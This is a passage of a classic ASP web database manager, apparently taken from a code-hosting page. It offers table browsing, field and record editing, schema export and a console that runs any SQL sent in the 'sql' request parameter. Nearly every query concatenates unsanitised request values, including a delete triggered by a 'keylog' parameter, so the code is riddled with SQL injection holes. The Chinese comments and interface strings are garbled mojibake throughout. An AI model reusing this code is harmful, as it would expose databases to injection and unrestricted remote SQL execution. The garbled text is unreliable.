'<27>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if primarykey = "" then
echo "<font color=red><3E>ñ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܻᵼ<DCBB><E1B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>𻵻<EFBFBD><F0BBB5BB><EFBFBD>ʧ<EFBFBD><CAA7></font><br>"
echo "<22><><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD>"
echo "<select name='keyname'>"
For i=0 to rs.fields.count-1
echo "<option value=" & rs(i).name & ">" & rs(i).name & "</option>"
next
echo "</select>&nbsp;"
echo "<input type=button value=<3D><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD> onclick=""location.href='?key=sql&sql=ALTER TABLE ["&table_name&"] ADD PRIMARY KEY (['+keyname.value+'])';"">"
echo "<br><br>"
end if
'<27><>ʾ<EFBFBD>޸<EFBFBD><DEB8>ֶ<EFBFBD><D6B6><EFBFBD>
echo "<select name='fieldsname'>"
echo "<option value=''>ѡ<><D1A1><EFBFBD>ֶ<EFBFBD></option>"
echo editstr
echo "</select> <20><><EFBFBD><EFBFBD>Ϊ " & chr(10)
echo "<input type='text' name='newfieldsname' size='20'> " & chr(10)
echo "<input type=button value=<3D>޸<EFBFBD><DEB8>ֶ<EFBFBD><D6B6><EFBFBD> onclick=""location.href='?key=reobj&obj=field&tablename="&table_name&"&fieldsname='+fieldsname.value+'&newfieldsname='+newfieldsname.value"">"
echo "<br><br>"
end if
rs.close
set rs = nothing
%>
<font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ֶΣ<D6B6></font><br><br>
<form action="?key=addfield" method="post">
<table width="600" height="39" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<td width="60" height="20" align="center"><3E>ֶ<EFBFBD><D6B6><EFBFBD></td>
<td width="50" height="20" align="center"><3E><><EFBFBD><EFBFBD></td>
<td width="58" height="20" align="center"><3E>趨<EFBFBD><E8B6A8>С</td>
<td width="64" height="20" align="center"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ</td>
<td width="66" height="20" align="center"> <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD></td>
<td width="96" height="20" align="center">&nbsp;&nbsp;</td>
</tr>
<tr>
<td width="60" height="20" align="center">
<input type="text" name="fldname" size="10">
</td>
<td width="50" height="20" align="center">
<% fieldtypelist(0) %>
</td>
<td width="58" height="20" align="center">
<input type="text" name="fldsize" size="10">
</td>
<td width="64" height="20" align="center">
<input name="null" type="checkbox" value="ON" checked>
</td>
<td width="66" height="20" align="center">
<input type="checkbox" name="autoincrement" value="ON">
</td>
<td width="96" height="20" align="center">
<input type="hidden" name="table_name" value="<%=table_name%>">
<input type="submit" value="<22>ύ">
</td>
</tr>
</table>
</form>
<%
end sub
'==================================================================<3D>޸<EFBFBD><DEB8>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD>ԵĽ<D4B5><C4BD><EFBFBD>
sub editfidlevi()
dim sql,rs,i
on error resume next
sql = "Select * From [" & request("table_name") & "]"
set rs = conn.execute(sql)
for i = 0 to rs.fields.count - 1
if rs(i).name = request("fidle") then
%>
<script LANGUAGE="JavaScript">
function validate(theForm) {
if (theForm.type.value == "")
{
alert("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
theForm.type.focus();
return (false);
}
return (true);
}
</script>
<font color=red><3E>޸<EFBFBD><DEB8>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD>ԣ<EFBFBD></font>
<form action="?key=editfidle&fidle=<%=request("fidle")%>&table_name=<%=request("table_name")%>" method="post" name=frm onSubmit="return validate(frm)">
<table width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<td width="60" height="20" align="center"><3E>ֶ<EFBFBD><D6B6><EFBFBD></td>
<td width="50" height="20" align="center"><3E><><EFBFBD><EFBFBD></td>
<td width="58" height="20" align="center"><3E>趨<EFBFBD><E8B6A8>С</td>
<td width="64" height="20" align="center"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ</td>
<td width="66" height="20" align="center"><3E>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD></td>
<td width="96" height="20"></td>
</tr>
<tr>
<td width="60" height="20" align="center"><%=rs(i).name%></td>
<td width="50" height="20" align="center">
<% fieldtypelist(request("fidletype")) %>
</td>
<td width="58" height="20"><input type="text" name="size" size="10"></td>
<td width="64" height="20" align="center">
<input type="checkbox" name="null" value="null"<%=iif((rs(i).Attributes and adFldIsNullable)=0,""," checked")%>>
</td>
<td width="66" height="20" align="center">
<input type="checkbox" name="autoincrement" value="y"<%=iif(rs(i).Properties("ISAUTOINCREMENT") = True," checked","")%>>
</td>
<td width="96" height="20" align="center">
<input type="submit" name="Submit" value="<22>ύ">
</td>
</tr>
</table><br>
</form>
<%
end if
next
end sub
'==================================================================ִ<><D6B4><EFBFBD>޸<EFBFBD><DEB8>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD>
sub editfidle()
on error resume next
sql = "ALTER TABLE [" & request("table_name") & "] "
sql = sql&"ALTER COLUMN [" & request("fidle") & "] "
if request("field_type") <> "" then
sql = sql & request("field_type")
end if
if request("size") <> "" then
sql = sql & "(" & request("size") & ") "
end if
if request("null") = "" then
sql = sql & " not null"
end if
if request("autoincrement") = "y" then
sql = sql & " identity"
end if
sql = trim(sql)
conn.execute(sql)
response.redirect "?key=view&table_name="& request("table_name")
end sub
'==================================================================<3D><><EFBFBD><EFBFBD><EFBFBD>ֶκ<D6B6><CEBA><EFBFBD>
sub addfield()
on error resume next
fldname = request("fldname")
fldtype = request("field_type")
fldsize = request("fldsize")
fldnull = request("null")
fldautoincrement = request("autoincrement")
table_name = request("table_name")
if fldname <> "" and fldtype <> "" then
sql = "alter table [" & table_name & "] add ["&fldname&"] " & fldtype
if fldsize <> "" then
sql = sql & "(" & fldsize & ")"
end if
if fldnull <> "ON" then
sql = sql & " not null"
end if
if fldautoincrement = "ON" then
sql = sql & " identity"
end if
conn.execute(sql)
response.redirect "?key=view&table_name=" & table_name
else
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><input type='button' name='ok' value=' <20><> <20><> ' onClick='javascript:history.go(-1)'>"
end if
if err <> 0 then
echo err.description
echo "<input type='button' name='ok' value=' <20><> <20><> ' onClick='javascript:history.go(-1)'>"
response.end
end if
end sub
'==================================================================<3D>༭<EFBFBD><E0BCAD><EFBFBD><EFBFBD>
sub editdata()
dim keys,names,values,action,rs,sql,tab
on error resume next
keys = request("primarykey")
names = request("table_name")
values = request("primarykeyvalue")
action = request("action")
Set rs = Server.CreateObject("Adodb.RecordSet")
if action = "" or action = "save" or action = "new" then
sql = "select * from " & names & " where " & keys & " = " & values
end if
if action = "pre" then
sql = "select top 1 * from " & names & " where " & keys & " < " & values & " order by " & keys & " desc"
end if
if action = "next" then
sql = "select top 1 * from " & names & " where " & keys & " > " & values & " order by " & keys & " asc"
end if
if action = "add" then
sql = "Select * From [" & names & "]"
end if
rs.Open sql, conn, 1, 3
if rs.eof and action = "new" then
sql = "Select * From [" & names & "]"
rs.Open sql, conn, 1, 3
end if
if action = "save" or action = "new" then
If action = "new" Then rs.AddNew
For Each tab In rs.Fields
If Keys <> tab.Name Then
rs(tab.Name) = Request.Form(tab.Name & "_Column")
if err <> 0 then
echo tab.name & err.description
echo "<input type='button' name='ok' value=' <20><> <20><> ' onClick='javascript:history.go(-1)'>"
response.end
end if
End If
Next
rs.update
end if
echo "<22>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD>ݱ༭<br>"
echo "<table width=600 border=0 cellpadding=5 cellspacing=1 bgcolor=#CCCCCC><tr><td>"
echo "<form action='?key=edit&table_name=" & names & "&primarykey=" & keys & "&primarykeyvalue=" & iif(action<>"add",rs(keys),"") & "' method='post' name='editor'>"
echo "<br>"
echo "<input type=hidden name=action value=save>"
echo iif(action="add","","<input type=submit value=<3D><><EFBFBD><EFBFBD> onclick=this.form.action.value='save';>&nbsp;")
echo "<input type=button value=<3D><><EFBFBD><EFBFBD> onclick=if(confirm('ȷʵҪ<CAB5><D2AA><EFBFBD>ӵ<EFBFBD>ǰΪ<C7B0>¼<EFBFBD>¼<EFBFBD><C2BC>?')){this.form.action.value='new';this.form.submit();};>&nbsp;"
echo "<input type=button value=<3D><>һ<EFBFBD><D2BB> onclick=""this.form.action.value='pre';this.form.submit();"">&nbsp;"
echo "<input type=button value=<3D><>һ<EFBFBD><D2BB> onclick=""this.form.action.value='next';this.form.submit();"">&nbsp;&nbsp;"
echo "<a href='?key=view&table_name=" & names & "'><3E><><EFBFBD>ṹ</a>&nbsp;&nbsp;"
echo "<a href='?key=sql&sql=select * from " & names & "&table_name="& names & "&primarykey="&keys&"'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a>&nbsp;&nbsp;"
echo "<a href='?'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a><br>"
if not rs.eof or action = "add" then
For Each tab In rs.Fields
echo ""
echo "<BR><font color=red>" & tab.Name & "</font>&nbsp;<font color=#999999>( " & typ(tab.Type) & " )</font><br>"
if tab.Type = 201 Or tab.Type = 203 then
echo "<textarea style='width:600;' name=""" & tab.Name & "_Column"" rows=6"
echo IIf(tab.Name = keys, " disabled title='<27><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>,<2C><><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD>޸<EFBFBD>.'>", ">")
if action <> "add" then echo trim(tab.value)
echo "</textarea>"
else
echo "<input type='text' style='width:600;' name='" & tab.Name & "_Column'"
echo IIf(tab.Name = keys, " disabled title='<27><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>,<2C><><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD>޸<EFBFBD>.'", " ") & " value='"
if action <> "add" then echo trim(tab.value)
echo "'>"
end if
echo "<br>"
Next
else
echo "<script>alert('<27>Ѿ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>!');history.back();</script>"
Response.End()
end if
echo "<br>"
echo iif(action="add","","<input type=submit value=<3D><><EFBFBD><EFBFBD> onclick=this.form.action.value='save';>&nbsp;")
echo "<input type=button value=<3D><><EFBFBD><EFBFBD> onclick=if(confirm('ȷʵҪ<CAB5><D2AA><EFBFBD>ӵ<EFBFBD>ǰΪ<C7B0>¼<EFBFBD>¼<EFBFBD><C2BC>?')){this.form.action.value='new';this.form.submit();};>&nbsp;"
echo "<input type=button value=<3D><>һ<EFBFBD><D2BB> onclick=""this.form.action.value='pre';this.form.submit();"">&nbsp;"
echo "<input type=button value=<3D><>һ<EFBFBD><D2BB> onclick=""this.form.action.value='next';this.form.submit();"">&nbsp;&nbsp;"
echo "<a href='?key=view&table_name=" & names & "'><3E><><EFBFBD>ṹ</a>&nbsp;&nbsp;"
echo "<a href='?key=sql&sql=select * from " & names & "&table_name="& names & "&primarykey="&keys&"'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a>&nbsp;&nbsp;"
echo "<a href='?'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a>&nbsp;&nbsp;"
echo "</form></td></tr></table>"
end sub
'==================================================================<3D><>ʾ<EFBFBD>洢<EFBFBD><E6B4A2><EFBFBD><EFBFBD>
sub showproc()
dim sTableName,adox
on error resume next
echo "<22>洢<EFBFBD><E6B4A2><EFBFBD>̣<EFBFBD><font color=red>" & Request("table_name") & "<font><br>"
sTableName = Request("table_name")
Set adox = Server.CreateObject("ADOX.Catalog")
adox.ActiveConnection = Conn
echo "<textarea cols=70 rows=8>" & adox.Procedures(sTableName).Command.CommandText & "</textarea><br>"
if err <> 0 then
echo err.description
exit sub
end if
end sub
'==================================================================<3D><>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD>
'<27><>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD>
sub showNavBar (rs,page,pageUrl,pageSize)
page = cint(page)
%>
<table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<% if request("primarykey") <> "" and request("table_name") <> "" then %>
<td align="left"><3E><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><font color=red><%=request("table_name")%></font>&nbsp;&nbsp;&nbsp;&nbsp;
<a href="?key=edit&table_name=<%=request("table_name")%>&primarykey=<%=request("primarykey")%>&action=add"><3E><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>¼</a>
</td>
<% end if %>
<td align="right">
<%
echo "<22><><EFBFBD><EFBFBD>" & rs.recordCount & "<22><><EFBFBD><EFBFBD>¼ <20><>ǰ" & page & "/" & rs.PageCount & "ҳ"
if page > 1 then
echo "<a href='" & pageUrl & "&page=1&pageSize="&pageSize&"'><3E><>ҳ</a> "
echo "<a href='" & pageUrl & "&page=" & page - 1 & "&pageSize="&pageSize&"'><3E><>ҳ</a> "
end if
if (rs.PageCount > 1 and page < rs.PageCount) then
echo "<a href='" & pageUrl & "&page=" & page + 1 & "&pageSize="&pageSize&"'><3E><>ҳ</a> "
echo "<a href='" & pageUrl & "&page=" & rs.pageCount & "&pageSize="&pageSize&"'>ĩҳ</a> "
end if
echo "ת<><D7AA>:<3A><>"
echo "<select name='select2' onChange='location.href=this.value;'>"
dim i
for i = 1 to rs.PageCount
echo "<option value='"& pageUrl &"&pageSize="&pageSize&"&page="& i & "' "
if i = cint(page) then echo "selected"
echo ">"& i &"</option>"
next
echo "</select>ҳ"
%>
</td>
</tr>
</table>
<%
end sub
'==================================================================<3D><>ʾ<EFBFBD><CABE>ѯ
sub showselect(sql)
dim page,pageUrl,strdel,geturl
pageSize = request("pageSize") '<27><><EFBFBD><EFBFBD>ÿҳ<C3BF><D2B3>ʾ<EFBFBD>ļ<EFBFBD>¼<EFBFBD><C2BC>
if pageSize = "" or not isNumeric(pageSize) then pageSize = 50
'<27>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ɾ<EFBFBD><C9BE>
if request("keylog") <> "" then
strdel = "delete from " & request("table_name") & " where " & request("primarykey") & "=" & request("keylog")
response.Write strdel
conn.execute(strdel)
geturl = "?" & replace(request.QueryString,"&keylog="&request("keylog"),"")
response.Redirect geturl
end if
page = request("page") '<27><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD><C7B0>ʾ<EFBFBD><CABE>ҳ<EFBFBD><D2B3>
if page="" or not isNumeric(page) then page=1
pageUrl = "?key=sql&sql=" & sql
if request("primarykey") <> "" and request("table_name") <> "" then
pageUrl = pageUrl & "&table_name=" & request("table_name") & "&primarykey=" & request("primarykey")
end if
'--------------------------
dim rs
set rs = Server.CreateObject("ADODB.Recordset")
rs.Open sql,conn,3
if not rs.eof then
rs.pageSize = pageSize
if cint(page) < 1 then page = 1
if cint(page) > rs.PageCount then page = rs.PageCount
rs.absolutePage = page
end if
'<27><>ʾ<EFBFBD><CABE>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD>
showNavBar rs,page,pageUrl,pageSize
'-------------------------------
echo "<div style='overflow-x:auto;overflow-y:auto; width:800;height:380;'>"
echo "<table border=0 border=0 cellpadding=3 cellspacing=1 bgcolor=#CCCCCC><tr>"
primarykey = request("primarykey")
if primarykey <> "" and request("table_name") <> "" then
echo "<td bgcolor=#ffffff><3E><><EFBFBD><EFBFBD></td><td bgcolor=#ffffff>ɾ</td>"
end if
for i = 0 to rs.fields.count - 1 'ѭ<><D1AD><EFBFBD>ֶ<EFBFBD><D6B6><EFBFBD>
set field = rs.fields.item(i)
echo "<td bgcolor=#ffffff>" & field.name & " </td>"
next
echo "</tr>"
dim i,field,j
do while not rs.eof and j < rs.pageSize 'ѭ<><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
echo "<tr>"
if primarykey <> "" and request("table_name") <> "" then
echo "<td bgcolor=#ffffff nowrap><a href='?key=edit&table_name=" & request("table_name") & "&primarykey=" & primarykey & "&primarykeyvalue=" & rs(primarykey) & "'><font color=#666666><3E>༭</font></a></td>"
echo "<td><a href='?"&Request.QueryString&"&keylog="&rs(primarykey)&"' onClick='return table_delete();'><font color=#FF000><3E><></font></a></td>"
end if
for i = 0 to rs.fields.count - 1
set field = rs.fields.item(i)
if len(field.value) < 12 then
echo "<td bgcolor=#ffffff nowrap>" & field.value & " </td>"
else
echo "<td bgcolor='#ffffff'><span class='fixspan'>" & field.value & " </span></td>"
end if
next
echo "</tr>"
rs.MoveNext
j = j + 1
loop
'response.ContentType ="application/vnd.ms-excel"'<27><><EFBFBD><EFBFBD>EXCEL<45><4C><EFBFBD><EFBFBD>
echo "</table></div>"
end sub
sub exesql(sql)
on error resume next
'==================================================================ִ<><D6B4>sql<71><6C><EFBFBD><EFBFBD>
if trim(request.form("SchemaTable")) <> "" then Call showSchema (adSchemaTables)
if trim (request.form("SchemaColumn")) <> "" then Call showSchema(adSchemaColumns)
if trim (request.form("SchemaProvider")) <> "" then Call showSchema(adSchemaProviderTypes)
sql = trim(request("sql"))
if sql = "" then exit sub
sql = RegExpReplace(sql, "(--)(.)*\n", "") '<27>滻ע<E6BBBB><D7A2>
sql = RegExpReplace(sql, "\n[\s| ]*\r", "") '<27>滻<EFBFBD><E6BBBB><EFBFBD><EFBFBD>
sql = RegExpReplace(sql, "\n", "") '<27>滻<EFBFBD><E6BBBB><EFBFBD>з<EFBFBD>
sql = RegExpReplace(sql, "\r", "") '<27>滻<EFBFBD>س<EFBFBD><D8B3><EFBFBD>
if (LCase(left(sql,len("select"))) = "select") and instr(sql,"into") = 0 then
Call showSelect (sql)
if err <> 0 then echo "<br><font color=red>" & err.description & "</font>"
response.end
else
'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>select<63><74><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>ִ<EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>Էֺŷָ<C5B7><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
dim aSql,iLoop
aSql = split(sql,";")
for iLoop = 0 to UBound(aSql)
if trim(aSql(iLoop)) <> "" then
conn.execute (aSql(iLoop))
if err <> 0 then
echo "<br><font color=red>" & err.description & "<br>&nbsp;&nbsp;<b>"
echo iLoop + 1 & "<22><></b></font><font color=#CC6600>" & aSql(iLoop) & "</font><br>"
'err.clear() '<27><><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>
exit sub '<27><>ִֹ<D6B9><D6B4>
else
echo "<div style='padding:3px 0px;border-bottom:1px solid #069;'><b>" & iLoop + 1 & "<22><></b>" & aSql(iLoop) & "</div>"
end if
end if
next
echo "<font color=red><h4><3E><><EFBFBD><EFBFBD>ִ<EFBFBD>гɹ<D0B3></h4></font>"
end if
end sub
'<27><>ʾ<EFBFBD><CABE><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD>Ϣ
'QueryType<70><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>
'adSchemaTables
'adSchemaColumns
'adSchemaProviderTypes
'Call showSchema (adSchemaTables)
sub showSchema(QueryType)
dim rs
'set rs = conn.OpenSchema()
set rs = conn.OpenSchema (QueryType)
'set rs = conn.OpenSchema (adSchemaProviderTypes)
echo "<div style='overflow-x:auto;overflow-y:auto; width:800;height:380;'><table border=0 border=0 cellpadding=3 cellspacing=1 bgcolor=#CCCCCC><tr>"
for i = 0 to rs.fields.count - 1 'ѭ<><D1AD><EFBFBD>ֶ<EFBFBD><D6B6><EFBFBD>
set field = rs.fields.item(i)
echo "<td bgcolor='#FFFFFF'>" & field.name & " </td>"
next
echo "</tr>"
dim i,field
do while not rs.eof 'ѭ<><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
echo "<tr>"
for i = 0 to rs.fields.count - 1
set field = rs.fields.item(i)
echo "<td bgcolor='#FFFFFF'>" & field.value & " &nbsp;</td>"
next
echo "</tr>"
rs.MoveNext
loop
echo "</table></div>"
end sub
%>
<%
'==================================================================<3D><><EFBFBD><EFBFBD>SQL
sub tosql(strt)
'strt = 0 <20><><EFBFBD><EFBFBD><EFBFBD>ṹ
'strt = 1 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
dim strsql
if strt = "0" then
table = request("table_name")
echo "<22><><EFBFBD><EFBFBD><EFBFBD>DZ<EFBFBD> <font color=red>" & request("table_name") & "</font> <20>Ľṹ: "
echo "<input type='button' name='ok' value=' <20><> <20><> ' onClick='javascript:history.go(-1)'>"
strsql = getsql(table)
end if
if strt = "2" then
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <font color=red> <20><><EFBFBD>ݿ<EFBFBD> </font> <20>Ľṹ: "
echo "<input type='button' name='ok' value=' <20><> <20><> ' onClick='javascript:history.go(-1)'>"
set objSchema = Conn.OpenSchema(adSchemaTables)
Do While Not objSchema.EOF
if objSchema("TABLE_TYPE") = "TABLE" then
table = objSchema("TABLE_NAME")
strsql = strsql & getsql(table)'table & "|"'getsql(table)
end if
objSchema.MoveNext
Loop
objSchema.close
end if
echo "<textarea cols=110 rows=38>" & strsql & "</textarea>"
conn.close
end sub
'================================================================== <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṹ
function getsql(table)
on error resume next
getsql = "-- <20><><EFBFBD>ṹ " & table & " <20><>SQL<51><4C><EFBFBD>䡣" & chr(10)
dim primary,primarykey
Set primary = Conn.OpenSchema(adSchemaPrimaryKeys,Array(empty,empty,table))
if primary("COLUMN_NAME") <> "" then
primarykey = primary("COLUMN_NAME")
end if
primary.Close
set primary = nothing
tbl_struct = "CREATE TABLE [" & table & "] ( " & chr(10)
sql = "SELECT * FROM " & table
Set rs = Conn.Execute(sql)
if err = 0 then
for i = 0 to rs.fields.count-1
tbl_struct = tbl_struct & "[" & rs(i).name & "] "
typs = typ(rs(i).type)
if typs = "VARCHAR" or typs = "BINARY" or typs = "CHAR" then
tbl_struct = tbl_struct & typs & "(" & rs(i).definedsize & ")"
else
tbl_struct = tbl_struct & typs & " "
end if
attrib = rs(i).attributes
if (attrib and adFldIsNullable) = 0 then
tbl_struct = tbl_struct&" NOT NULL"
end if
if rs(i).Properties("ISAUTOINCREMENT") = True then
tbl_struct = tbl_struct & " IDENTITY"
end if
tbl_struct = tbl_struct & "," & chr(10)
next
if primarykey <> "" then
tbl_struct = tbl_struct & "PRIMARY KEY ([" & primarykey & "]));"
else
len_of_sql = Len(tbl_struct)
tbl_struct = Mid(tbl_struct,1,len_of_sql-2)
tbl_struct = tbl_struct & ");"
end if
else
tbl_struct = "CREATE TABLE [" & table & "];"
end if
getsql = getsql & tbl_struct & chr(10) & chr(10)
end function
sub help()
echo "SQL <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䣺<br><br>"
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br>"
echo "CREATE TABLE [<5B><><EFBFBD><EFBFBD>] (<br>"
echo "[test1] int not null identity,<br>"
echo "[test2] binary not null,<br>"
echo "primary key ([test1]))<br><br>"
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ALTER TABLE [tablename] ADD PRIMARY KEY ([fieldname])<br><br>"
echo "<22><>ѯ<EFBFBD><D1AF>select * from tablename where fieldname *** order by id desc<br><br>"
echo "<22><><EFBFBD>£<EFBFBD>update tanlename set fieldname = values,cn_name='values' where ID = 1<br><br>"
echo "<22><><EFBFBD>ӣ<EFBFBD>insert into tanlename (fieldnam,fieldnam2)values (1,'values')<br><br>"
echo "ɾ<><C9BE><EFBFBD><EFBFBD>delete from tanlename where fieldname = values<br><br>"
echo "ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DROP TABLE <20><><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD><EFBFBD><EFBFBD><br><br>"
echo "<22><><EFBFBD><EFBFBD><EFBFBD>ֶΣ<D6B6>ALTER TABLE [<5B><><EFBFBD><EFBFBD>] ADD [<5B>ֶ<EFBFBD><D6B6><EFBFBD>] NVARCHAR (50) NULL<br><br>"
echo "ɾ<><C9BE><EFBFBD>ֶΣ<D6B6>alter table [tablename] drop [fieldname]<br><br>"
echo "<22>޸<EFBFBD><DEB8>ֶΣ<D6B6>ALTER TABLE [<5B><><EFBFBD><EFBFBD>] ALTER COLUMN [<5B>ֶ<EFBFBD><D6B6><EFBFBD>] <20><><EFBFBD><EFBFBD>(<28><>С) NULL<br><br>"
echo "<22>½<EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ALTER TABLE [<5B><><EFBFBD><EFBFBD>] ADD CONSTRAINT Լ<><D4BC><EFBFBD><EFBFBD> CHECK ([Լ<><D4BC><EFBFBD>ֶ<EFBFBD>] <= '2000-1-1')<br><br>"
echo "ɾ<><C9BE>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ALTER TABLE [<5B><><EFBFBD><EFBFBD>] DROP CONSTRAINT Լ<><D4BC><EFBFBD><EFBFBD><br><br>"
echo "<22>½<EFBFBD>Ĭ<EFBFBD><C4AC>ֵ<EFBFBD><D6B5>ALTER TABLE [<5B><><EFBFBD><EFBFBD>] ADD CONSTRAINT Ĭ<><C4AC>ֵ<EFBFBD><D6B5> DEFAULT '51WINDOWS.NET' FOR [<5B>ֶ<EFBFBD><D6B6><EFBFBD>]<br><br>"
echo "ɾ<><C9BE>Ĭ<EFBFBD><C4AC>ֵ<EFBFBD><D6B5>ALTER TABLE [<5B><><EFBFBD><EFBFBD>] DROP CONSTRAINT Ĭ<><C4AC>ֵ<EFBFBD><D6B5><br><br>"
end sub
%>
<!--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ-->
<table width="100%" height="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<td width="18%" valign="top">
<div id="Layer1" style="overflow-x:auto;overflow-y:auto; width:100%;height:100%;">
<div style="width:140px;height:0px;overflow:hidden;"></div>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>&nbsp;<a href="?"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a>&nbsp;<a href="?key=exit"><3E>˳<EFBFBD></a>&nbsp;<a href="?key=help">Help</a><br>
<%
set objSchema = Conn.OpenSchema(adSchemaTables)
Do While Not objSchema.EOF
if objSchema("TABLE_TYPE") = "TABLE" then
'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
echo "<a href='?key=view&table_name="& objSchema("TABLE_NAME") &"'>" & objSchema("TABLE_NAME") & "</a><br>"
end if
objSchema.MoveNext
Loop
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><br>"
objSchema.MoveFirst
Do While Not objSchema.EOF
if objSchema("TABLE_TYPE") = "VIEW" then
'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
echo "<a href='?key=sql&sql=SELECT * FROM [" & objSchema("TABLE_NAME")& "]'>" & objSchema("TABLE_NAME") & "</a><br>"
end if
objSchema.MoveNext
Loop
objSchema.Close
set objSchema = nothing
'echo "<22>洢<EFBFBD><E6B4A2><EFBFBD>̣<EFBFBD><br>"
'set objSchema = Conn.OpenSchema(adSchemaProcedures)
'Do While Not objSchema.EOF
' echo "<a href='?key=proc&table_name="& objSchema("PROCEDURE_NAME") &"'>" & objSchema("PROCEDURE_NAME") & "</a><br>"
'objSchema.MoveNext
'Loop
'objSchema.Close
'set objSchema = nothing
%>
</div>
</td>
<td width="82%" valign="top">
<div id="Layer2" style="overflow-x:anto;overflow-y:auto; width:100%;height:100%;">
<%
select case request("key")
case "" '<27><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
call main("")
case "addtable" '<27><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
call add_table(request("table_name"),request("field_num"))
case "createtable" 'ִ<>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>
call create_table()
case "view"
call view(request("table_name"))
case "sql"
call main("1")
call exesql(trim(request("sql")))
case "addfield"
call addfield()
case "editfidlevi"
call view(request("table_name"))
case "editfidle"
call editfidle()
case "exit"
session("dbtype") = ""
session("dbstr") = ""
session("db007pass") = ""
response.redirect "?"
case "tosql"
call tosql(request("strt"))
case "proc"
call main("1")
call showproc()
case "help"
call help()
case "edit"
call EditData()
case "reobj"
call reobj()
end select
%>
</div>
</td>
</tr>
</table>
<!--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-->
</body>
</html>
Reference in a new issue Copy permalink